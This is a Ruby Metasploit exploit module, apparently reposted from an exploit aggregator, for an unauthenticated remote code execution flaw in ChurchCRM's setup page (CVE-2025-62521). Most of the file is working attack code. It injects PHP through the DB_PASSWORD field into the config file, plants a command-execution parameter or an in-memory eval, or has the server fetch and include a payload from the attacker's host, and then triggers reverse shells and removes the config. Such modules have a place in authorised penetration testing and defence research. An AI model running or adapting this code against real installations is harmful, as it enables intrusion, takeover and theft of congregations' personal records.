Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-CHURCHCRM_INSTALL_UNAUTH_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ChurchCRM Unauthenticated RCE via Setup Page',
'Description' => %q{
ChurchCRM <= 6.8.0 allows unauthenticated remote code execution via
the setup page. The DB_PASSWORD field in the installation form is written
directly into Include/Config.php without sanitization, allowing PHP code
injection. The injected config file is then included on every request,
triggering the payload. Note that the fix claimed in 5.21.0 only added
a strlen check on the password field, leaving the injection intact.
},
'License' => MSF_LICENSE,
'Author' => [
'Arthur Valverde (uartu0)', # Vulnerability discovery
'LucasCsmt' # Metasploit module
],
'References' => [
['GHSA', 'm8jq-j3p9-2xf3', 'ChurchCRM/CRM'],
['CVE', '2025-62521']
],
'Platform' => ['linux', 'php'],
'Targets' => [
[
'Linux/unix Command (CmdStager)',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => ['linux'],
'Type' => :nix_cmdstager,
'CmdStagerFlavor' => ['printf', 'echo', 'bourne', 'fetch', 'curl', 'wget']
# tested with linux/x64/meterpreter/reverse_tcp
}
],
[
'PHP (In-Memory)',
{
'Arch' => [ARCH_PHP],
'Platform' => ['php'],
'Type' => :php_memory
# tested with php/meterpreter/reverse_tcp
}
],
[
'PHP (Fetch)',
{
'Arch' => [ARCH_PHP],
'Platform' => ['php'],
'Type' => :php_fetch,
'DefaultOptions' => {
'FETCH_WRITABLE_DIR' => '/tmp'
}
# tested with php/meterpreter/reverse_tcp
}
]
],
'DisclosureDate' => '2025-12-17',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
end
def check
res = send_request_cgi('method' => 'GET', 'uri' => setup_uri)
return CheckCode::Unknown('Failed to connect to the target.') unless res
return CheckCode::Unknown('Setup page is inaccessible') unless res.code == 200
version = res.headers['CRM-VERSION']
return CheckCode::Detected('Setup page accessible but no version header') unless version
return CheckCode::Safe("Version #{version} is not vulnerable") unless Rex::Version.new(version) <= Rex::Version.new('6.8.0')
CheckCode::Appears("Vulnerable version #{version}")
end
def exploit
@cmd_param = rand_text_alpha(5..10)
inject_config
trigger_payload
end
private
def setup_uri
normalize_uri(target_uri.path, 'setup', '/')
end
def inject_config
print_status('Injecting payload into Include/Config.php via setup page...')
res = send_request_cgi(
'method' => 'POST',
'uri' => setup_uri,
'vars_post' => {
'DB_SERVER_NAME' => rand_text_alpha(5..10),
'DB_SERVER_PORT' => rand(1024..65535).to_s,
'DB_NAME' => rand_text_alpha(5..10),
'DB_USER' => rand_text_alpha(5..8),
'DB_PASSWORD' => build_config_payload,
'ROOT_PATH' => '/',
'URL' => "http://#{rand_text_alpha(5..10)}.com/"
}
)
fail_with(Failure::UnexpectedReply, 'Setup page did not accept the payload') unless res&.code == 200
end
def build_config_payload
cleanup = target['Type'] != :nix_cmdstager ? 'unlink(__FILE__);' : ''
php = case target['Type']
when :php_memory
b64 = Rex::Text.encode_base64(payload.encoded)
"eval(base64_decode(\"#{b64}\"));"
when :php_fetch
start_service
f = "#{datastore['FETCH_WRITABLE_DIR']}/#{rand_text_alpha(5..10)}.php"
v = rand_text_alpha(1..3)
"$#{v}='#{f}';file_put_contents($#{v},file_get_contents('#{get_uri}'));register_shutdown_function('unlink',$#{v});include($#{v});"
when :nix_cmdstager
"system($_GET['#{@cmd_param}']);"
end
"#{rand_text_alpha(3)}';#{cleanup}#{php} //"
end
def trigger_payload
if target['Type'] == :nix_cmdstager
print_status('Executing cmdstager...')
execute_cmdstager(linemax: 500, nodelete: false, background: true)
execute_command('rm -f Include/Config.php')
return
end
print_status('Triggering PHP payload...')
send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path))
end
def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'vars_get' => { @cmd_param => cmd }
)
end
def on_request_uri(cli, _request)
send_response(cli, payload.encoded, 'Content-Type' => 'application/x-httpd-php')
end
end